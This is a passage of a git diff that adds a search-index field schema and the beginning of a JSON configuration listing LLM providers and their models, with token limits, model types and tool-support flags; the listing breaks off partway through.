@@ -0,0 +1,44 @@
+{
+ "id": {"type": "varchar", "default": ""},
+ "doc_id": {"type": "varchar", "default": ""},
+ "kb_id": {"type": "varchar", "default": ""},
+ "create_time": {"type": "varchar", "default": ""},
+ "create_timestamp_flt": {"type": "float", "default": 0.0},
+ "img_id": {"type": "varchar", "default": ""},
+ "docnm_kwd": {"type": "varchar", "default": ""},
+ "title_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"},
+ "title_sm_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"},
+ "name_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "important_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "tag_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "important_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"},
+ "question_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "question_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"},
+ "content_with_weight": {"type": "varchar", "default": ""},
+ "content_ltks": {"type": "varchar", "default": "", "analyzer": "whitespace"},
+ "content_sm_ltks": {"type": "varchar", "default": "", "analyzer": "whitespace"},
+ "authors_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"},
+ "authors_sm_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"},
+ "page_num_int": {"type": "varchar", "default": ""},
+ "top_int": {"type": "varchar", "default": ""},
+ "position_int": {"type": "varchar", "default": ""},
+ "weight_int": {"type": "integer", "default": 0},
+ "weight_flt": {"type": "float", "default": 0.0},
+ "rank_int": {"type": "integer", "default": 0},
+ "rank_flt": {"type": "float", "default": 0},
+ "available_int": {"type": "integer", "default": 1},
+ "knowledge_graph_kwd": {"type": "varchar", "default": ""},
+ "entities_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "pagerank_fea": {"type": "integer", "default": 0},
+ "tag_feas": {"type": "varchar", "default": "", "analyzer": "rankfeatures"},
+
+ "from_entity_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "to_entity_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "entity_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "entity_type_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "source_id": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+ "n_hop_with_weight": {"type": "varchar", "default": ""},
+ "removed_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"},
+
+ "doc_type_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}
+}
diff --git a/conf/llm_factories.json b/conf/llm_factories.json
new file mode 100644
index 0000000..e6b82f4
--- /dev/null
+++ b/conf/llm_factories.json
@@ -0,0 +1,5150 @@
+{
+ "factory_llm_infos": [
+ {
+ "name": "OpenAI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,TTS,TEXT RE-RANK,SPEECH2TEXT,MODERATION",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "gpt-5",
+ "tags": "LLM,CHAT,400k,IMAGE2TEXT",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-5-mini",
+ "tags": "LLM,CHAT,400k,IMAGE2TEXT",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-5-nano",
+ "tags": "LLM,CHAT,400k,IMAGE2TEXT",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-5-chat-latest",
+ "tags": "LLM,CHAT,400k,IMAGE2TEXT",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "gpt-4.1",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1047576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.1-mini",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1047576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.1-nano",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1047576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.5-preview",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "o3",
+ "tags": "LLM,CHAT,200K,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "o4-mini",
+ "tags": "LLM,CHAT,200K,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "o4-mini-high",
+ "tags": "LLM,CHAT,200K,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4o-mini",
+ "tags": "LLM,CHAT,128K,IMAGE2TEXT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4o",
+ "tags": "LLM,CHAT,128K,IMAGE2TEXT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-3.5-turbo",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "gpt-3.5-turbo-16k-0613",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16385,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "text-embedding-ada-002",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "text-embedding-3-small",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "text-embedding-3-large",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "whisper-1",
+ "tags": "SPEECH2TEXT",
+ "max_tokens": 26214400,
+ "model_type": "speech2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "gpt-4",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8191,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "gpt-4-turbo",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8191,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4-32k",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "tts-1",
+ "tags": "TTS",
+ "max_tokens": 2048,
+ "model_type": "tts",
+ "is_tools": false
+ }
+ ]
+ },
+ {
+ "name": "xAI",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "grok-4",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 256000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3",
+ "tags": "LLM,CHAT,130k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3-fast",
+ "tags": "LLM,CHAT,130k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3-mini",
+ "tags": "LLM,CHAT,130k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3-mini-mini-fast",
+ "tags": "LLM,CHAT,130k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-2-vision",
+ "tags": "LLM,CHAT,IMAGE2TEXT,32k",
+ "max_tokens": 32768,
+ "model_type": "image2text",
+ "is_tools": true
+ }
+ ]
+ },
+ {
+ "name": "TokenPony",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "qwen3-8b",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-v3-0324",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-32b",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "kimi-k2-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-r1-0528",
+ "tags": "LLM,CHAT,164k",
+ "max_tokens": 164000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-coder-480b",
+ "tags": "LLM,CHAT,1024k",
+ "max_tokens": 1024000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4.5",
+ "tags": "LLM,CHAT,131K",
+ "max_tokens": 131000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-v3.1",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ }
+ ]
+ },
+ {
+ "name": "Tongyi-Qianwen",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,TEXT RE-RANK,TTS,SPEECH2TEXT,MODERATION",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "Moonshot-Kimi-K2-Instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-r1",
+ "tags": "LLM,CHAT,64K",
+ "max_tokens": 65792,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "deepseek-v3",
+ "tags": "LLM,CHAT,64K",
+ "max_tokens": 65792,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "deepseek-r1-distill-qwen-1.5b",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "deepseek-r1-distill-qwen-7b",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "deepseek-r1-distill-qwen-14b",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "deepseek-r1-distill-qwen-32b",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "deepseek-r1-distill-llama-8b",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "deepseek-r1-distill-llama-70b",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "qwq-32b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwq-plus",
+ "tags": "LLM,CHAT,132k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-plus-2025-07-28",
+ "tags": "LLM,CHAT,132k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-plus-2025-07-14",
+ "tags": "LLM,CHAT,132k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwq-plus-latest",
+ "tags": "LLM,CHAT,132k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-flash",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-flash-2025-07-28",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-max",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 256000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-coder-480b-a35b-instruct",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 256000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-30b-a3b-instruct-2507",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-30b-a3b-thinking-2507",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-30b-a3b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-vl-plus",
+ "tags": "LLM,CHAT,IMAGE2TEXT,256k",
+ "max_tokens": 256000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-vl-235b-a22b-instruct",
+ "tags": "LLM,CHAT,IMAGE2TEXT,128k",
+ "max_tokens": 128000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-vl-235b-a22b-thinking",
+ "tags": "LLM,CHAT,IMAGE2TEXT,128k",
+ "max_tokens": 128000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-235b-a22b-instruct-2507",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-235b-a22b-thinking-2507",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-235b-a22b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-next-80b-a3b-instruct",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-next-80b-a3b-thinking",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-0.6b",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-1.7b",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-4b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-8b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-14b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-32b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-long",
+ "tags": "LLM,CHAT,10000K",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-turbo",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-turbo-2025-04-28",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-turbo-latest",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-max",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-plus",
+ "tags": "LLM,CHAT,132k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-plus-2025-04-28",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen-plus-latest",
+ "tags": "LLM,CHAT,132k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "text-embedding-v2",
+ "tags": "TEXT EMBEDDING,2K",
+ "max_tokens": 2048,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "sambert-zhide-v1",
+ "tags": "TTS",
+ "max_tokens": 2048,
+ "model_type": "tts"
+ },
+ {
+ "llm_name": "sambert-zhiru-v1",
+ "tags": "TTS",
+ "max_tokens": 2048,
+ "model_type": "tts"
+ },
+ {
+ "llm_name": "text-embedding-v3",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8192,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "text-embedding-v4",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8192,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "qwen-vl-max",
+ "tags": "LLM,CHAT,IMAGE2TEXT",
+ "max_tokens": 765,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "qwen-vl-plus",
+ "tags": "LLM,CHAT,IMAGE2TEXT",
+ "max_tokens": 765,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "gte-rerank",
+ "tags": "RE-RANK,4k",
+ "max_tokens": 4000,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "qwen-audio-asr",
+ "tags": "SPEECH2TEXT,8k",
+ "max_tokens": 8000,
+ "model_type": "speech2text"
+ },
+ {
+ "llm_name": "qwen-audio-asr-latest",
+ "tags": "SPEECH2TEXT,8k",
+ "max_tokens": 8000,
+ "model_type": "speech2text"
+ },
+ {
+ "llm_name": "qwen-audio-asr-1204",
+ "tags": "SPEECH2TEXT,8k",
+ "max_tokens": 8000,
+ "model_type": "speech2text"
+ },
+ {
+ "llm_name": "qianwen-deepresearch-30b-a3b-131k",
+ "tags": "LLM,CHAT,1M,AGENT,DEEPRESEARCH",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ }
+ ]
+ },
+ {
+ "name": "ZHIPU-AI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "glm-4.5",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4.5-x",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4.5-air",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4.5-airx",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4.5-flash",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4.5v",
+ "tags": "LLM,IMAGE2TEXT,64,",
+ "max_tokens": 64000,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "glm-4-plus",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4-0520",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4-airx",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 8000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4-air",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4-flash",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4-flashx",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4-long",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 1000000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-3-turbo",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4v",
+ "tags": "LLM,CHAT,IMAGE2TEXT",
+ "max_tokens": 2000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "glm-4-9b",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 8192,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "embedding-2",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "embedding-3",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "Ollama",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "ModelScope",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "LocalAI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "OpenAI-API-Compatible",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "VLLM",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "Moonshot",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "kimi-thinking-preview",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "kimi-k2-0711-preview",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "kimi-k2-0905-preview",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 262144,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "kimi-k2-turbo-preview",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 262144,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "kimi-latest",
+ "tags": "LLM,CHAT,8k,32k,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "moonshot-v1-8k",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 7900,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "moonshot-v1-32k",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "moonshot-v1-128k",
+ "tags": "LLM,CHAT",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "moonshot-v1-auto",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ }
+ ]
+ },
+ {
+ "name": "FastEmbed",
+ "logo": "",
+ "tags": "TEXT EMBEDDING",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "Xinference",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,TTS,SPEECH2TEXT,MODERATION,TEXT RE-RANK",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "Youdao",
+ "logo": "",
+ "tags": "TEXT EMBEDDING",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "maidalun1020/bce-embedding-base_v1",
+ "tags": "TEXT EMBEDDING,",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "DeepSeek",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "deepseek-chat",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-reasoner",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ }
+ ]
+ },
+ {
+ "name": "VolcEngine",
+ "logo": "",
+ "tags": "LLM, TEXT EMBEDDING",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "Doubao-pro-128k",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Doubao-pro-32k",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Doubao-pro-4k",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": true
+ }
+ ]
+ },
+ {
+ "name": "BaiChuan",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "Baichuan2-Turbo",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Baichuan2-Turbo-192k",
+ "tags": "LLM,CHAT,192K",
+ "max_tokens": 196608,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Baichuan3-Turbo",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Baichuan3-Turbo-128k",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Baichuan4",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Baichuan-Text-Embedding",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "Jina",
+ "logo": "",
+ "tags": "TEXT EMBEDDING, TEXT RE-RANK",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "jina-reranker-v1-base-en",
+ "tags": "RE-RANK,8k",
+ "max_tokens": 8196,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "jina-reranker-v1-turbo-en",
+ "tags": "RE-RANK,8k",
+ "max_tokens": 8196,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "jina-reranker-v1-tiny-en",
+ "tags": "RE-RANK,8k",
+ "max_tokens": 8196,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "jina-colbert-v1-en",
+ "tags": "RE-RANK,8k",
+ "max_tokens": 8196,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "jina-embeddings-v2-base-en",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8196,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "jina-embeddings-v2-base-de",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8196,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "jina-embeddings-v2-base-es",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8196,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "jina-embeddings-v2-base-code",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8196,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "jina-embeddings-v2-base-zh",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8196,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "jina-reranker-v2-base-multilingual",
+ "tags": "RE-RANK,8k",
+ "max_tokens": 8196,
+ "model_type": "rerank"
+ },
+ {
